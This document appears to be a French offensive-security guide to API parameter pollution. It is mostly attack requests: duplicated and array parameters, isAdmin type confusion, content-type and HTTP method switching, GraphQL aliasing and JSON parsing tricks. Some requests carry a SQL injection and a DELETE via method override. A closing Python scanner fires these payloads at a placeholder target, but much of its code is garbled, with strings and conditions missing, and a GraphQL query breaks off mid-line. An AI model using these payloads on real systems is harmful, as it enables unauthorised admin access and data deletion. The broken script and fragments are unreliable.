| name | api-parameter-pollution |
| description | Guide complet des attaques de pollution de paramètres API — HTTP Parameter Pollution (HPP), type confusion, array injection, charset attacks, content-type switching, Unicode normalization bypass, et mass assignment via paramètres |
| category | cybersecurite |
Parameter Pollution & Type Confusion — Guide Avancé
Introduction
La pollution de paramètres exploite la manière dont les frameworks web parsent les entrées multiples, les types de données, et les encodages. Elle peut contourner la validation, les WAF, et les ACL.
1. HTTP Parameter Pollution (HPP)
1.1 Paramètres Dupliqués
GET /api/v1/login?user=attacker&user=admin&pass=test
GET /api/v1/login?user=admin&user=attacker
GET /api/v1/products?category=admin&category=payment
GET /api/v1/login?user=admin&user=attacker
1.2 HPP pour Bypass WAF
GET /api/v1/admin/users
GET /api/v1/users?role=admin&role=user§ion=admin
GET /api/v1/users?action=view&action=delete&id=5
GET /api/v1/products?id=1&id=1 OR 1=1
1.3 Array Parameter Injection
GET /api/v1/users?roles[]=admin&roles[]=user
GET /api/v1/users?role=admin&role=user
GET /api/v1/users?ids[0]=1&ids[1]=2&ids[2]=3
GET /api/v1/users?ids=1,2,3,4,5
GET /api/v1/users?filter[name]=admin&filter[role]=super
1.4 Nested Parameter Injection
GET /api/v1/order?shipping[method]=express&shipping[address][street]=123+Main&shipping[address][zip]=75001
GET /api/v1/user?user[name]=hacker&user[role]=admin&user[settings][theme]=dark
GET /api/v1/auth/signup?user[name]=test&user[isAdmin]=true&user[password]=test
2. Type Confusion
2.1 String ↔ Boolean Confusion
POST /api/v1/users/signup
{
"isAdmin": "true",
"isAdmin": "yes",
"isAdmin": "1",
"isAdmin": "on",
"isAdmin": ""
}
GET /api/v1/users?isAdmin=true
GET /api/v1/users?isAdmin=1
GET /api/v1/users?isAdmin=yes
2.2 String ↔ Integer Confusion
GET /api/v1/users/1
GET /api/v1/users/1.0
GET /api/v1/users/0x1
GET /api/v1/users/1e0
GET /api/v1/users/+1
GET /api/v1/users/-1
GET /api/v1/messages?userId=1.5
GET /api/v1/messages?userId=9999999999999999999999
GET /api/v1/messages?userId[]=1
2.3 Array ↔ Object Confusion
POST /api/v1/users/signup
[
{"username": "admin", "password": "test", "isAdmin": true}
]
POST /api/v1/orders/batch
{"0": {"id": 1}, "1": {"id": 2}}
POST /api/v1/auth/login
{"username": null, "password": null}
POST /api/v1/users/signup
{"username": "admin", "password": "test", "isAdmin": null}
2.4 JSON vs Form Encoding
POST /api/v1/users
{"isAdmin": true, "role": "admin"}
POST /api/v1/users
isAdmin=true&role=admin
POST /api/v1/users
Content-Type: multipart/form-data; boundary=---BOUNDARY
---BOUNDARY
Content-Disposition: form-data; name="isAdmin"
true
---BOUNDARY
Content-Disposition: form-data; name="role"
admin
---BOUNDARY--
3. Content-Type Attacks
3.1 Charset-Based Bypass
POST /api/v1/users/signup
Content-Type: application/json; charset=utf-16
POST /api/v1/users/signup
{"username": "admin", "password": "test", "isAdmin": true}
POST /api/v1/products
{"name": "test\x00.jpg", "category": "admin"}
3.2 Content-Type Switching
POST /api/v1/users/signup
Content-Type: application/xml
<user>
<username><![CDATA[admin]]></username>
<password>test</password>
<isAdmin type="boolean">true</isAdmin>
<role>admin</role>
</user>
POST /api/v1/users/signup
Content-Type: application/x-yaml
username: admin
password: test
isAdmin: true
role: admin
POST /api/v1/users/signup
Content-Type: application/x-yaml
admin_role: &admin true
username: admin
password: test
isAdmin: *admin
3.3 Content Negotiation
GET /api/v1/users/1
Accept: application/json
Accept: application/xml
Accept: text/plain
Accept: */*
Accept: text/html
GET /api/v1/users/1
Accept: application/vnd.target.v1+json
Accept: application/vnd.target.v2+json
Accept: application/vnd.target.internal+json
4. HTTP Method Confusion
4.1 Method Override
POST /api/v1/users/1
X-HTTP-Method: DELETE
X-HTTP-Method-Override: DELETE
X-Method-Override: DELETE
POST /api/v1/users/1?_method=DELETE
POST /api/v1/users/1&method=delete
POST /api/v1/users/1
Content-Type: application/x-httpd-php
X-HTTP-Method-Override: DELETE
4.2 HEAD / OPTIONS Abuse
HEAD /api/v1/admin/users
OPTIONS /api/v1/admin/users
TRACE /api/v1/admin/users
5. Cache Poisoning via Paramètres
GET /api/v1/products?id=1&cb=123
GET /api/v1/products?id=1&cb=456
GET /api/v1/products?id=1&admin=true
GET /api/v1/users?sort=role&order=asc
GET /api/v1/users?sort=password&order=asc
6. GraphQL Parameter Pollution
mutation {
a1: login(username: "admin", password: "test", isAdmin: true)
a2: login(username: "admin", password: "test", isAdmin: false)
}
mutation($role: String!) {
updateUser(role: $role)
}
query {
users {
id
name
... @skip(if:
password
isAdmin
7. JSON Parsing Edge Cases
POST /api/v1/users/signup
{"username": "admin", "password": "test", "isAdmin": false, "isAdmin": true}
POST /api/v1/users/signup
{/* admin */ "username": "admin", "password": "test", "isAdmin": true}
POST /api/v1/users/signup
{"username": "admin", "password": "test", "isAdmin": true,}
Script Automatisé
"""Scanner de pollution de paramètres API."""
import requests
import itertools
BASE = "https://api.target.com"
def test_hpp(endpoint):
"""Teste les différents comportements HPP."""
for params in [
"role=admin&role=user",
"role[]=admin&role[]=user",
"role[0]=admin&role[1]=user",
"user[name]=admin&user[role]=admin",
"isAdmin=true&isAdmin=false",
]:
r = requests.get(BASE + endpoint + "?" + params)
print(f"[HPP] {params}: {r.status_code} - {r.text[:100]}")
def test_type_confusion(endpoint, method="POST"):
"""Teste la confusion de types."""
tests = [
{"isAdmin": "true"},
{"isAdmin": "1"},
{"isAdmin": "yes"},
{"isAdmin": 1},
{"isAdmin": "true", "isAdmin": False},
{"isAdmin": None},
{"isAdmin": [True]},
]
for payload in tests:
r = requests.post(BASE + endpoint, json=payload)
data = r.json() r.text {}
data.get() [, , , ]:
()
():
payload_xml =
r = requests.post(BASE + endpoint,
data=payload_xml,
headers={: })
()
__name__ == :
test_hpp()
test_type_confusion()
test_content_type_switching()
Checklist
Ressources